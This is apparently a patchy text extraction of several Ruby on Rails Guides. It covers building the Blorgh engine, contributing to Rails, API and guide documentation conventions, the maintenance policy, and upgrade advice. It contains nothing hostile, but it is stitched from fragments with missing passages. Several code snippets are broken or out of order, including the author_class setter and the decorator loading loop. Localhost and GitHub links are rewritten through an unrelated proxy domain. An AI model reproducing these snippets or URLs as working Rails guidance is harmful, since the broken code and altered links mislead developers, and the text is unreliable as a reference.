each directory contains a sub-directory with the engine name. Because this
engine is going to be namespaced, its assets should be too.
Within the app/controllers directory there is a blorgh directory that
contains a file called application_controller.rb. This file will provide
any common functionality for the controllers of the engine. The blorgh
directory is where the other controllers for the engine will go. By placing
them within this namespaced directory, you prevent them from possibly
clashing with identically-named controllers within other engines or even
within the application.
The ApplicationController class inside an engine is named just like a
Rails application in order to make it easier for you to convert your
applications into engines.
Because of the way that Ruby does constant lookup you may run into a
situation where your engine controller is inheriting from the main
application controller and not your engine's application controller. Ruby is
able to resolve the ApplicationController constant, and therefore the
autoloading mechanism is not triggered. See the section When Constants
Aren't Missed of the Autoloading and Reloading Constants guide for
further details. The best way to prevent this from happening is to use
require_dependency to ensure that the engine's application controller is
loaded. For example:
# app/controllers/blorgh/articles_controller.rb:
require_dependency "blorgh/application_controller"
module Blorgh
class ArticlesController < ApplicationController
...
end
end
Don't use require because it will break the automatic reloading of classes
This directory contains one file, bin/rails, which enables you to use the
rails sub-commands and generators just like you would within an
application. This means that you will be able to generate new controllers
and models for this engine very easily by running commands like this:
$ bin/rails g model
The test directory is where tests for the engine will go. To test the engine,
there is a cut-down version of a Rails application embedded within it at
test/dummy. This application will mount the engine in the
test/dummy/config/routes.rb file:
Rails.application.routes.draw do
mount Blorgh::Engine => "/blorgh"
end
This line mounts the engine at the path /blorgh, which will make it
accessible through the application only at that path.
Inside the test directory there is the test/integration directory, where
integration tests for the engine should be placed. Other directories can be
created in the test directory as well. For example, you may wish to create
a test/models directory for your model tests.
invoke js
create app/assets/javascripts/blorgh/articles.js
invoke css
create app/assets/stylesheets/blorgh/articles.css
invoke css
create app/assets/stylesheets/scaffold.css
The first thing that the scaffold generator does is invoke the
active_record generator, which generates a migration and a model for the
resource. Note here, however, that the migration is called
create_blorgh_articles rather than the usual create_articles. This is
due to the isolate_namespace method called in the Blorgh::Engine
class's definition. The model here is also namespaced, being placed at
app/models/blorgh/article.rb rather than app/models/article.rb due
to the isolate_namespace call within the Engine class.
Next, the test_unit generator is invoked for this model, generating a
model test at test/models/blorgh/article_test.rb (rather than
test/models/article_test.rb) and a fixture at
test/fixtures/blorgh/articles.yml (rather than
test/fixtures/articles.yml).
After that, a line for the resource is inserted into the config/routes.rb
file for the engine. This line is simply resources :articles, turning the
config/routes.rb file for the engine into this:
Blorgh::Engine.routes.draw do
resources :articles
end
Note here that the routes are drawn upon the Blorgh::Engine object rather
than the YourApp::Application class. This is so that the engine routes are
confined to the engine itself and can be mounted at a specific point as
shown in the test directory section. It also causes the engine's routes to be
isolated from those routes that are within the application. The Routes
This helps prevent conflicts with any other engine or application that may
have an article resource as well.
Finally, the assets for this resource are generated in two files:
app/assets/javascripts/blorgh/articles.js and
app/assets/stylesheets/blorgh/articles.css. You'll see how to use
these a little later.
You can see what the engine has so far by running bin/rails db:migrate
at the root of our engine to run the migration generated by the scaffold
generator, and then running rails server in test/dummy. When you open
http://localhost:3000/blorgh/articles you will see the default
scaffold that has been generated. Click around! You've just generated your
first engine's first functions.
If you'd rather play around in the console, rails console will also work
just like a Rails application. Remember: the Article model is
namespaced, so to reference it you must call it as Blorgh::Article.
>> Blorgh::Article.find(1)
=> #<Blorgh::Article id: 1 ...>
One final thing is that the articles resource for this engine should be the
root of the engine. Whenever someone goes to the root path where the
engine is mounted, they should be shown a list of articles. This can be
made to happen if this line is inserted into the config/routes.rb file
inside the engine:
root to: "articles#index"
Now people will only need to go to the root of the engine to see all the
articles, rather than visiting /articles. This means that instead of
http://localhost:3000/blorgh/articles, you only need to go to
http://localhost:3000/blorgh now.
3.2 Generating a Comments Resource
Now that the engine can create new articles, it only makes sense to add
commenting functionality as well. To do this, you'll need to generate a
comment model, a comment controller and then modify the articles
scaffold to display comments and allow people to create new ones.
From the application root, run the model generator. Tell it to generate a
Comment model, with the related table having two columns: an article_id
integer and text text column.
$ bin/rails generate model Comment article_id:integer text:text
This generator call will generate just the necessary model files it needs,
namespacing the files under a blorgh directory and creating a model class
called Blorgh::Comment. Now run the migration to create our
blorgh_comments table:
$ bin/rails db:migrate
"Edit" link:
<h3>Comments</h3>
<%= render @article.comments %>
Because the has_many is defined inside a class that is inside the Blorgh
module, Rails will know that you want to use the Blorgh::Comment model
for these objects, so there's no need to specify that using the :class_name
option here.
Next, there needs to be a form so that comments can be created on an
article. To add this, put this line underneath the call to render
@article.comments in app/views/blorgh/articles/show.html.erb:
<%= render "blorgh/comments/form" %>
Next, the partial that this line will render needs to exist. Create a new
directory at app/views/blorgh/comments and in it a new file called
_form.html.erb which has this content to create the required partial:
<h3>New comment</h3>
<%= form_for [@article, @article.comments.build] do |f| %>
<p>
<%= f.label :text %><br>
<%= f.text_area :text %>
</p>
<%= f.submit %>
<% end %>
This creates a nested route for the comments, which is what the form
requires.
The route now exists, but the controller that this route goes to does not. To
create it, run this command from the application root:
$ bin/rails g controller comments
This is the final step required to get the new comment form working.
Displaying the comments, however, is not quite right yet. If you were to
create a comment right now, you would see this error:
The engine is unable to find the partial required for rendering the
comments. Rails looks first in the application's (test/dummy) app/views
directory and then in the engine's app/views directory. When it can't find
it, it will throw this error. The engine knows to look for
blorgh/comments/_comment because the model object it is receiving is
from the Blorgh::Comment class.
This partial will be responsible for rendering just the comment text, for
now. Create a new file at
it:
<%= comment_counter + 1 %>. <%= comment.text %>
However, because you are developing the blorgh engine on your local
machine, you will need to specify the :path option in your Gemfile:
gem 'blorgh', path: 'engines/blorgh'
This line will mount the engine at /blog in the application. Making it
accessible at http://localhost:3000/blog when the application runs
with rails server.
Other engines, such as Devise, handle this a little differently by making
you specify custom helpers (such as devise_for) in the routes. These
helpers do exactly the same thing, mounting pieces of the engines's
functionality at a pre-defined path which may be customizable.
4.2 Engine setup
The engine contains migrations for the blorgh_articles and
blorgh_comments table which need to be created in the application's
database so that the engine's models can query them correctly. To copy
these migrations into the application run the following command from the
test/dummy directory of your Rails engine:
$ bin/rails blorgh:install:migrations
If you have multiple engines that need migrations copied over, use
railties:install:migrations instead:
$ bin/rails railties:install:migrations
This command, when run for the first time, will copy over all the
migrations from the engine. When run the next time, it will only copy over
migrations that haven't been copied over already. The first run for this
command will output something such as this:
The first timestamp ([timestamp_1]) will be the current time, and the
second timestamp ([timestamp_2]) will be the current time plus a second.
The reason for this is so that the migrations for the engine are run after any
existing migrations in the application.
To run these migrations within the context of the application, simply run
bin/rails db:migrate. When accessing the engine through
http://localhost:3000/blog, the articles will be empty. This is because
the table created inside the application is different from the one created
within the engine. Go ahead, play around with the newly mounted engine.
You'll find that it's the same as when it was only an engine.
If you would like to run migrations only from one engine, you can do it by
specifying SCOPE:
bin/rails db:migrate SCOPE=blorgh
form parameter:
def article_params
params.require(:article).permit(:title, :text, :author_name)
end
The Blorgh::Article model should then have some code to convert the
author_name field into an actual User object and associate it as that
article's author before the article is saved. It will also need to have an
attr_accessor set up for this field, so that the setter and getter methods
are defined for it.
To do all this, you'll need to add the attr_accessor for author_name, the
association for the author and the before_validation call into
app/models/blorgh/article.rb. The author association will be hardcoded to the User class for the time being.
attr_accessor :author_name
belongs_to :author, class_name: "User"
before_validation :set_author
private
def set_author
self.author = User.find_or_create_by(name: author_name)
end
By representing the author association's object with the User class, a link
is established between the engine and the application. There needs to be a
way of associating the records in the blorgh_articles table with the
records in the users table. Because the association is called author, there
should be an author_id column added to the blorgh_articles table.
To generate this new column, run this command within the engine:
Due to the migration's name and the column specification after it, Rails
will automatically know that you want to add a column to a specific table
and write that into the migration for you. You don't need to tell it any more
than this.
This migration will need to be run on the application. To do that, it must
first be copied using this command:
$ bin/rails blorgh:install:migrations
Notice that only one migration was copied over here. This is because the
first two migrations were copied over the first time this command was run.
Now with all the pieces in place, an action will take place that will
associate an author - represented by a record in the users table - with an
article, represented by the blorgh_articles table from the engine.
Finally, the author's name should be displayed on the article's page. Add
this code above the "Title" output inside
app/views/blorgh/articles/show.html.erb:
<p>
<b>Author:</b>
<%= @article.author.name %>
</p>
4.3.2 Using a Controller Provided by the Application
The next step is to make the class that represents a User in the application
customizable for the engine. This is because that class may not always be
User, as previously explained. To make this setting customizable, the
engine will have a configuration setting called author_class that will be
used to specify which class represents users inside the application.
To define this configuration setting, you should use a mattr_accessor
inside the Blorgh module for the engine. Add this line to lib/blorgh.rb
inside the engine:
mattr_accessor :author_class
self.author = Blorgh.author_class.constantize.find_or_create_by(
def self.author_class
@@author_class.constantize
end
This would then turn the above code for set_author into this:
It's very important here to use the String version of the class, rather than
the class itself. If you were to use the class, Rails would attempt to load
that class and then reference the related table. This could lead to problems
if the table wasn't already existing. Therefore, a String should be used and
then converted to a class using constantize in the engine later on.
Go ahead and try to create a new article. You will see that it works exactly
in the same way as before, except this time the engine is using the
configuration setting in config/initializers/blorgh.rb to learn what
the class is.
There are now no strict dependencies on what the class is, only what the
API for the class must be. The engine simply requires this class to define a
find_or_create_by method which returns an object of that class, to be
associated with an article when it's created. This object, of course, should
have some sort of identifier by which it can be referenced.
4.4.2 General Engine Configuration
Within an engine, there may come a time where you wish to use things
such as initializers, internationalization or other configuration options. The
great news is that these things are entirely possible, because a Rails engine
shares much the same functionality as a Rails application. In fact, a Rails
application's functionality is actually a superset of what is provided by
engines!
If you wish to use an initializer - code that should run before the engine is
loaded - the place for it is the config/initializers folder. This
directory's functionality is explained in the Initializers section of the
Configuring guide, and works precisely the same way as the
config/initializers directory inside an application. The same thing
goes if you want to use a standard initializer.
For locales, simply place the locale files in the config/locales directory,
just like you would in an application.
5 Testing an engine
When an engine is generated, there is a smaller dummy application created
inside it at test/dummy. This application is used as a mounting point for
the engine, to make testing the engine extremely simple. You may extend
this application by generating controllers, models or views from within the
directory, and then use those to test your engine.
The test directory should be treated like a typical Rails testing
environment, allowing for unit, functional and integration tests.
5.1 Functional Tests
A matter worth taking into consideration when writing functional tests is
that the tests are going to be running on an application - the test/dummy
application - rather than your engine. This is due to the setup of the testing
environment; an engine needs an application as a host for testing its main
functionality, especially controllers. This means that if you were to make a
typical GET to a controller in a controller's functional test like this:
module Blorgh
class FooControllerTest < ActionDispatch::IntegrationTest
include Engine.routes.url_helpers
def test_index
get foos_url
...
end
end
end
It may not function correctly. This is because the application doesn't know
how to route these requests to the engine unless you explicitly tell it how.
To do this, you must set the @routes instance variable to the engine's route
set in your setup code:
module Blorgh
class FooControllerTest < ActionDispatch::IntegrationTest
include Engine.routes.url_helpers
setup do
@routes = Engine.routes
end
def test_index
get foos_url
...
end
end
end
This tells the application that you still want to perform a GET request to the
index action of this controller, but you want to use the engine's route to get
there, rather than the application's one.
This also ensures that the engine's URL helpers will work as expected in
your tests.
config.to_prepare do
Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb")
require_dependency(c)
end
end
end
end
This doesn't apply to just Decorators, but anything that you add in an
engine that isn't referenced by your main application.
6.1.2 Implementing Decorator Pattern Using Class#class_eval
Adding Article#time_since_created:
# MyApp/app/decorators/models/blorgh/article_decorator.rb
Blorgh::Article.class_eval do
def time_since_created
Time.current - created_at
end
end
# Blorgh/app/models/article.rb
class Article < ApplicationRecord
has_many :comments
end
Overriding Article#summary:
# MyApp/app/decorators/models/blorgh/article_decorator.rb
Blorgh::Article.class_eval do
def summary
"#{title} - #{truncate(text)}"
end
end
# Blorgh/app/models/article.rb
class Article < ApplicationRecord
has_many :comments
def summary
"#{title}"
end
end
6.1.3 Implementing Decorator Pattern Using ActiveSupport::Concern
6.3 Routes
Routes inside an engine are isolated from the application by default. This
is done by the isolate_namespace call inside the Engine class. This
essentially means that the application and its engines can have identically
named routes and they will not clash.
Routes inside an engine are drawn on the Engine class within
config/routes.rb, like this:
Blorgh::Engine.routes.draw do
resources :articles
end
To make this route always use the engine's articles_path routing helper
method, we must call the method on the routing proxy method that shares
the same name as the engine.
<%= link_to "Blog articles", blorgh.articles_path %>
If you wish to reference the application inside the engine in a similar way,
use the main_app helper:
<%= link_to "Home", main_app.root_path %>
directories.
Like all of the other components of an engine, the assets should be
namespaced. This means that if you have an asset called style.css, it
should be placed at app/assets/stylesheets/[engine
name]/style.css, rather than app/assets/stylesheets/style.css. If
this asset isn't namespaced, there is a possibility that the host application
could have an asset named identically, in which case the application's asset
would take precedence and the engine's one would be ignored.
Imagine that you did have an asset located at
app/assets/stylesheets/blorgh/style.css To include this asset inside
an application, just use stylesheet_link_tag and reference the asset as if
You can also specify these assets as dependencies of other assets using
Asset Pipeline require statements in processed files:
/*
*= require blorgh/style
*/
inside of the application. The development dependencies for the gem will
only be used when the tests for the engine are running.
Note that if you want to immediately require dependencies when the
engine is required, you should require them before the engine's
initialization. For example:
require 'other_engine/engine'
require 'yet_another_engine/engine'
module MyEngine
class Engine < ::Rails::Engine
end
end
1 Reporting an Issue
Ruby on Rails uses GitHub Issue Tracking to track issues (primarily bugs
and contributions of new code). If you've found a bug in Ruby on Rails,
this is the place to start. You'll need to create a (free) GitHub account in
order to submit an issue, to comment on them or to create pull requests.
Bugs in the most recent released version of Ruby on Rails are likely to get
the most attention. Also, the Rails core team is always interested in
feedback from those who can take the time to test edge Rails (the code for
the version of Rails that is currently under development). Later in this
guide you'll find out how to get edge Rails for testing.
1.1 Creating a Bug Report
If you've found a problem in Ruby on Rails which is not a security risk, do
a search on GitHub under Issues in case it has already been reported. If
you are unable to find any open GitHub issues addressing the problem you
found, your next step will be to open a new one. (See the next section for
reporting security issues.)
Your issue report should contain a title and a clear description of the issue
at the bare minimum. You should include as much relevant information as
possible and should at least post a code sample that demonstrates the issue.
It would be even better if you could include a unit test that shows how the
expected behavior is not occurring. Your goal should be to make it easy
for yourself - and others - to reproduce the bug and figure out a fix.
Then, don't get your hopes up! Unless you have a "Code Red, Mission
Critical, the World is Coming to an End" kind of bug, you're creating this
issue report in the hope that others with the same problem will be able to
collaborate with you on solving it. Do not expect that the issue report will
automatically see any activity or that others will jump to fix it. Creating an
issue like this is mostly to help yourself start on the path of fixing the
problem and for others to confirm it with an "I'm having this problem too"
comment.
1.2 Create an Executable Test Case
Having a way to reproduce your issue will be very helpful for others to
help confirm, investigate and ultimately fix your issue. You can do this by
providing an executable test case. To make this process easier, we have
prepared several bug report templates for you to use as a starting point:
Template for Active Record (models, database) issues: gem / master
Template for Action Pack (controllers, routing) issues: gem / master
Generic template for other issues: gem / master
These templates include the boilerplate code to set up a test case against
either a released version of Rails (*_gem.rb) or edge Rails (*_master.rb).
Simply copy the content of the appropriate template into a .rb file and
make the necessary changes to demonstrate the issue. You can execute it
by running ruby the_file.rb in your terminal. If all goes well, you
should see your test case failing.
You can then share your executable test case as a gist, or simply paste the
content into the issue description.
1.3 Special Treatment for Security Issues
Please do not report security vulnerabilities with public GitHub issue
reports. The Rails security policy page details the procedure to follow for
security issues.
1.4 What about Feature Requests?
Please don't put "feature request" items into GitHub Issues. If there's a new
feature that you want to see added to Ruby on Rails, you'll need to write
the code yourself - or convince someone else to partner with you to write
the code. Later in this guide you'll find detailed instructions for proposing
a patch to Ruby on Rails. If you enter a wish list item in GitHub Issues
with no code, you can expect it to be marked "invalid" as soon as it's
reviewed.
Sometimes, the line between 'bug' and 'feature' is a hard one to draw.
Generally, a feature is anything that adds new behavior, while a bug is
anything that causes incorrect behavior. Sometimes, the core team will
have to make a judgement call. That said, the distinction generally just
affects which release your patch will get in to; we love feature
submissions! They just won't get backported to maintenance branches.
If you'd like feedback on an idea for a feature before doing the work to
make a patch, please send an email to the rails-core mailing list. You
might get no response, which means that everyone is indifferent. You
might find someone who's also interested in building that feature. You
might get a "This won't be accepted." But it's the proper place to discuss
new ideas. GitHub Issues are not a particularly good venue for the
sometimes long and involved discussions new features require.
Then you can use their remote branch to update your codebase. For
example, let's say the GitHub user JohnSmith has forked and pushed to a
topic branch "orange" located at https://github.com/JohnSmith/rails.
After applying their branch, test it out! Here are some things to think
about:
Does the change actually work?
Are you happy with the tests? Can you follow what they're testing?
Are there any tests missing?
Does it have the proper documentation coverage? Should
documentation elsewhere be updated?
Do you like the implementation? Can you think of a nicer or faster
way to implement a part of their change?
Once you're happy that the pull request contains a good change, comment
on the GitHub issue indicating your approval. Your comment should
indicate that you like the change and what you like about it. Something
like:
I like the way you've restructured that code in generate_finder_sql much nicer. The tests look good too.
If your comment simply reads "+1", then odds are that other reviewers
aren't going to take it too seriously. Show that you took the time to review
the pull request.
docrails.
In case you can't use the Rails development box, see this other guide.
5.2 Clone the Rails Repository
To be able to contribute code, you need to clone the Rails repository:
$ git clone https://github.com/rails/rails.git
It doesn't matter much what name you use, because this branch will only
exist on your local computer and your personal repository on GitHub. It
won't be part of the Rails Git repository.
5.3 Bundle install
You can run tests only for a particular component (e.g. Action Pack). For
example, to run Action Mailer tests:
$ cd actionmailer
$ bundle exec rake test
$ cd actionmailer
$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_ex
The -n option allows you to run a single method instead of the whole file.
5.7.4 Testing Active Record
First, create the databases you'll need. For MySQL and PostgreSQL,
running the SQL statements create database activerecord_unittest
and create database activerecord_unittest2 is sufficient. This is not
necessary for SQLite3.
This is how you run the Active Record test suite only for SQLite3:
$ cd activerecord
$ bundle exec rake test:sqlite3
You can now run the tests as you did for sqlite3. The tasks are
respectively:
test:mysql2
test:postgresql
Finally,
$ bundle exec rake test
You can continue after the code example and you can attach i
*Your Name*
Your name can be added directly after the last word if there are no code
examples or multiple paragraphs. Otherwise, it's best to make a new
paragraph.
5.10 Updating the Gemfile.lock
Some changes require the dependencies to be upgraded. In these cases
make sure you run bundle update to get the right version of the
dependency and commit the Gemfile.lock file within your changes.
5.11 Sanity Check
You should not be the only person who looks at the code before you
submit it. If you know someone else who uses Rails, try asking them if
they'll check out your work. If you don't know anyone else using Rails, try
hopping into the IRC room or posting about your idea to the rails-core
mailing list. Doing this in private before you push a patch out publicly is
the "smoke test" for a patch: if you can't convince one other developer of
the beauty of your code, youre unlikely to convince the core team either.
5.12 Commit Your Changes
When you're happy with the code on your computer, you need to commit
the changes to Git:
$ git commit -a
This should fire up your editor to write a commit message. When you have
finished, save and close to continue.
A well-formatted and descriptive commit message is very helpful to others
for understanding why the change was made, so please take the time to
write it.
A good commit message looks like this:
Short summary (ideally 50 characters or less)
Please squash your commits into a single commit when appropriate. This
simplifies future cherry picks and keeps the git log clean.
5.13 Update Your Branch
It's pretty likely that other changes to master have happened while you
were working. Go get them:
$ git checkout master
$ git pull --rebase
No conflicts? Tests still pass? Change still seems reasonable to you? Then
move on.
5.14 Fork
Navigate to the Rails GitHub repository and press "Fork" in the upper right
hand corner.
Add the new remote to your local repository on your local machine:
You might have cloned your forked repository into your machine and
might want to add the original Rails repository as a remote instead, if that's
the case here's what you have to do.
In the directory you cloned your fork:
$ git remote add rails https://github.com/rails/rails.git
One of the things that we may ask you to do is to "squash your commits",
which will combine all of your commits into a single commit. We prefer
pull requests that are a single commit. This makes it easier to backport
changes to stable branches, squashing makes it easier to revert bad
commits, and the git history can be a bit easier to follow. Rails is a large
project, and a bunch of extraneous commits can add a lot of noise.
In order to do this, you'll need to have a git remote that points at the main
Rails repository. This is useful anyway, but just in case you don't have it
set up, make sure that you do this first:
$ git remote add upstream https://github.com/rails/rails.git
You can call this remote whatever you'd like, but if you don't use
upstream, then change the name to your own in the instructions below.
Given that your remote branch is called my_pull_request, then you can
do the following:
$ git fetch upstream
$ git checkout my_pull_request
$ git rebase -i upstream/master
< Choose 'squash' for all of your commits except the first one.
< Edit the commit message to make sense, and describe all your c
$ git push origin my_pull_request -f
You should be able to refresh the pull request on GitHub and see that it has
been updated.
5.17.2 Updating pull request
Sometimes you will be asked to make some changes to the code you have
already committed. This can include amending existing commits. In this
case Git will not allow you to push the changes as the pushed branch and
local branch do not match. Instead of opening a new pull request, you can
force push to your branch on GitHub as described earlier in squashing
commits section:
$ git push origin my_pull_request -f
This will update the branch and pull request on GitHub with your new
code. Do note that using force push may result in commits being lost on
the remote branch; use it with care.
5.18 Older Versions of Ruby on Rails
If you want to add a fix to older versions of Ruby on Rails, you'll need to
set up and switch to your own local tracking branch. Here is an example to
switch to the 4-0-stable branch:
$ git branch --track 4-0-stable origin/4-0-stable
$ git checkout 4-0-stable
You may want to put your Git branch name in your shell prompt to make it
Changes that are merged into master are intended for the next major
release of Rails. Sometimes, it might be beneficial for your changes to
propagate back to the maintenance releases for older stable branches.
Generally, security fixes and bug fixes are good candidates for a backport,
while new features and patches that introduce a change in behavior will
not be accepted. When in doubt, it is best to consult a Rails team member
before backporting your changes to avoid wasted effort.
For simple fixes, the easiest way to backport your changes is to extract a
diff from your changes in master and apply them to the target branch.
First make sure your changes are the only difference between your current
branch and master:
$ git log master..HEAD
This works well for simple changes. However, if your changes are
complicated or if the code in master has deviated significantly from your
target branch, it might require more work on your part. The difficulty of a
backport varies greatly from case to case, and sometimes it is simply not
6 Rails Contributors
All contributions, either via master or docrails, get credit in Rails
Contributors.
1 RDoc
The Rails API documentation is generated with RDoc. To generate it,
make sure you are in the rails root directory, run bundle install and
execute:
./bin/rails rdoc
2 Wording
Write simple, declarative sentences. Brevity is a plus: get to the point.
Write in present tense: "Returns a hash that...", rather than "Returned a
hash that..." or "Will return a hash that...".
Start comments in upper case. Follow regular punctuation rules:
# Declares an attribute reader backed by an internally-named
# instance variable.
def attr_internal_reader(*attrs)
...
end
Communicate to the reader the current way of doing things, both explicitly
and implicitly. Use the idioms recommended in edge. Reorder sections to
emphasize favored approaches if needed, etc. The documentation should
be a model for best practices and canonical, modern Rails usage.
Documentation has to be concise but comprehensive. Explore and
document edge cases. What happens if a module is anonymous? What if a
collection is empty? What if an argument is nil?
The proper names of Rails components have a space in between the words,
like "Active Support". ActiveRecord is a Ruby module, whereas Active
Record is an ORM. All Rails documentation should consistently refer to
Rails components by their proper name, and if in your next blog post or
presentation you remember this tidbit and take it into account that'd be
phenomenal.
Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL,
JavaScript, ERB. When in doubt, please have a look at some authoritative
source like their official documentation.
Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite
database".
Prefer wordings that avoid "you"s and "your"s. For example, instead of
3 English
Please use American English (color, center, modularize, etc). See a list of
American and British English spelling differences here.
4 Oxford Comma
Please use the Oxford comma ("red, white, and blue", instead of "red,
white and blue").
5 Example Code
Choose meaningful examples that depict and cover the basics as well as
interesting points or gotchas.
Use two spaces to indent chunks of code--that is, for markup purposes, two
spaces with respect to the left margin. The examples themselves should
use Rails coding conventions.
Short docs do not need an explicit "Examples" label to introduce snippets;
they just follow paragraphs:
The results of expressions follow them and are introduced by "# => ",
vertically aligned:
# For checking if an integer is even or odd.
#
# 1.even? # => false
# 1.odd? # => true
# 2.even? # => true
# 2.odd? # => false
If a line is too long, the comment may be placed on the next line:
# label(:article, :title)
# # => <label for="article_title">Title</label>
#
# label(:article, :title, "A short title")
# # => <label for="article_title">A short title</label>
#
# label(:article, :title, "A short title", class: "title_label
# # => <label for="article_title" class="title_label">A short
Avoid using any printing methods like puts or p for that purpose.
On the other hand, regular comments do not use an arrow:
# polymorphic_url(record) # same as comment_url(record)
6 Booleans
In predicates and flags prefer documenting boolean semantics over exact
values.
When "true" or "false" are used as defined in Ruby use regular font. The
singletons true and false need fixed-width font. Please avoid terms like
"truthy", Ruby defines what is true and false in the language, and thus
those words have a technical meaning and need no substitutes.
As a rule of thumb, do not document singletons unless absolutely
necessary. That prevents artificial constructs like !! or ternaries, allows
refactors, and the code does not need to rely on the exact values returned
by methods being called in the implementation.
For example:
the user does not need to know which is the actual default value of the
flag, and so we only document its boolean semantics.
An example with a predicate:
end
end
The API is careful not to commit to any particular value, the method has
predicate semantics, that's enough.
7 File Names
As a rule of thumb, use filenames relative to the application root:
config/routes.rb # YES
routes.rb # NO
RAILS_ROOT/config/routes.rb # NO
8 Fonts
8.1 Fixed-width Font
Use fixed-width fonts for:
Constants, in particular class and module names.
Method names.
Literals like nil, false, true, self.
Symbols.
Method parameters.
File names.
class Array
# Calls +to_param+ on all its elements and joins the result wi
# slashes. This is used by +url_for+ in Action Pack.
def to_param
collect { |e| e.to_param }.join '/'
end
end
Using +...+ for fixed-width font only works with simple content like
ordinary method names, symbols, paths (with forward slashes), etc. Please
use <tt>...</tt> for everything else, notably class or module names with
a namespace as in <tt>ActiveRecord::Base</tt>.
You can quickly test the RDoc output with the following command:
$ echo "+:to_param+" | rdoc --pipe
# => <p><code>:to_param</code></p>
a regular font:
# Runs all the validations within the specified context.
# Returns true if no errors are found, false otherwise.
#
# If the argument is false (default is +nil+), the context is
# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
# and to <tt>:update</tt> if it is not.
#
# Validations with no <tt>:on</tt> option will run no
# matter the context. Validations with # some <tt>:on</tt>
# option will only run in the specified context.
def valid?(context = nil)
...
end
9 Description Lists
In lists of options, parameters, etc. use a hyphen between the item and its
description (reads better than a colon because normally options are
symbols):
The description starts in upper case and ends with a full stop-it's standard
English.
If the resulting lines are too wide, say 200 columns or more, put the
comment above the call:
# def self.find_by_login_and_activated(*args)
# options = args.extract_options!
# ...
# end
self.class_eval %{
def self.#{method_id}(*args)
options = args.extract_options!
...
end
}
11 Method Visibility
When writing documentation for Rails, it's important to understand the
difference between public user-facing API vs internal API.
Rails, like most libraries, uses the private keyword from Ruby for defining
internal API. However, public API follows a slightly different convention.
Instead of assuming all public methods are designed for user consumption,
Rails uses the :nodoc: directive to annotate these kinds of methods as
internal API.
This means that there are methods in Rails with public visibility that
aren't meant for user consumption.
An example of this is ActiveRecord::Core::ClassMethods#arel_table:
module ActiveRecord::Core::ClassMethods
def arel_table #:nodoc:
# do some magic..
end
end
If you thought, "this method looks like a public class method for
ActiveRecord::Core", you were right. But actually the Rails team doesn't
want users to rely on this method. So they mark it as :nodoc: and it's
removed from public documentation. The reasoning behind this is to allow
the team to change these methods according to their internal needs across
releases as they see fit. The name of this method could change, or the
return value, or this entire class may disappear; there's no guarantee and so
you shouldn't depend on this API in your plugins or applications.
Otherwise, you risk your app or gem breaking when you upgrade to a
newer release of Rails.
As a contributor, it's important to think about whether this API is meant
for end-user consumption. The Rails team is committed to not making any
breaking changes to public API across releases without going through a
full deprecation cycle. It's recommended that you :nodoc: any of your
internal methods/classes unless they're already private (meaning visibility),
in which case it's internal by default. Once the API stabilizes the visibility
can change, but changing public API is much harder due to backwards
compatibility.
A class or module is marked with :nodoc: to indicate that all methods are
internal API and should never be used directly.
If you come across an existing :nodoc: you should tread lightly. Consider
asking someone from the core team or author of the code before removing
it. This should almost always happen through a pull request instead of the
docrails project.
A :nodoc: should never be added simply because a method or class is
missing documentation. There may be an instance where an internal public
method wasn't given a :nodoc: by mistake, for example when switching a
method from private to public visibility. When this happens it should be
discussed over a PR on a case-by-case basis and never committed directly
to docrails.
To summarize, the Rails team uses :nodoc: to mark publicly visible
methods and classes for internal use; changes to the visibility of API
should be considered carefully and discussed over a pull request first.
1 Markdown
Guides are written in GitHub Flavored Markdown. There is
comprehensive documentation for Markdown, as well as a cheatsheet.
2 Prologue
Each guide should start with motivational text at the top (that's the little
introduction in the blue area). The prologue should tell the reader what the
guide is about, and what they will learn. As an example, see the Routing
Guide.
3 Headings
The title of every guide uses an h1 heading; guide sections use h2
headings; subsections use h3 headings; etc. Note that the generated HTML
output will use heading tags starting with <h2>.
Guide Title
===========
Section
------### Sub Section
5 HTML Guides
Before generating the guides, make sure that you have the latest version of
Bundler installed on your system. As of this writing, you must install
Bundler 1.3.5 or later on your device.
To install the latest version of Bundler, run gem install bundler.
5.1 Generation
To generate all the guides, just cd into the guides directory, run bundle
install, and execute:
bundle exec rake guides:generate
or
bundle exec rake guides:generate:html
By default, guides that have not been modified are not processed, so ONLY
is rarely needed in practice.
To force processing all the guides, pass ALL=1.
It is also recommended that you work with WARNINGS=1. This detects
If you want to see all the environment variables you can use to configure
the generation script just run:
rake
5.2 Validation
Please validate the generated HTML with:
bundle exec rake guides:validate
Particularly, titles get an ID generated from their content and this often
leads to duplicates. Please set WARNINGS=1 when generating guides to
detect them. The warning messages suggest a solution.
6 Kindle Guides
6.1 Generation
To generate guides for the Kindle, use the following rake task:
bundle exec rake guides:generate:kindle
1 New Features
New features are only added to the master branch and will not be made
available in point releases.
2 Bug Fixes
Only the latest release series will receive bug fixes. When enough bugs are
fixed and its deemed worthy to release a new gem, this is the branch it
happens from.
In special situations, where someone from the Core Team agrees to
support more series, they are included in the list of supported series.
Currently included series: 5.0.Z, 4.2.Z.
3 Security Issues
The current release series and the next most recent one will receive patches
and new versions in case of a security issue.
These releases are created by taking the last released version, applying the
security patches, and releasing. Those patches are then applied to the end
of the x-y-stable branch. For example, a theoretical 1.2.3 security release
would be built from 1.2.2, and then added to the end of 1-2-stable. This
means that security releases are easy to upgrade to if you're running the
latest version of Rails.
Currently included series: 5.0.Z, 4.2.Z.
1 General Advice
Before attempting to upgrade an existing application, you should be sure
you have a good reason to upgrade. You need to balance several factors:
the need for new features, the increasing difficulty of finding support for
old code, and your available time and skills, to name a few.
1.1 Test Coverage
The best way to be sure that your application still works after upgrading is
to have good test coverage before you start the process. If you don't have
automated tests that exercise the bulk of your application, you'll need to
spend time manually exercising all the parts that have changed. In the case
of a Rails upgrade, that will mean every single piece of functionality in the
application. Do yourself a favor and make sure your test coverage is good
before you start an upgrade.
1.2 The Upgrade Process
When changing Rails versions, it's best to move slowly, one minor version
at a time, in order to make good use of the deprecation warnings. Rails
version numbers are in the form Major.Minor.Patch. Major and Minor
versions are allowed to make changes to the public API, so this may cause
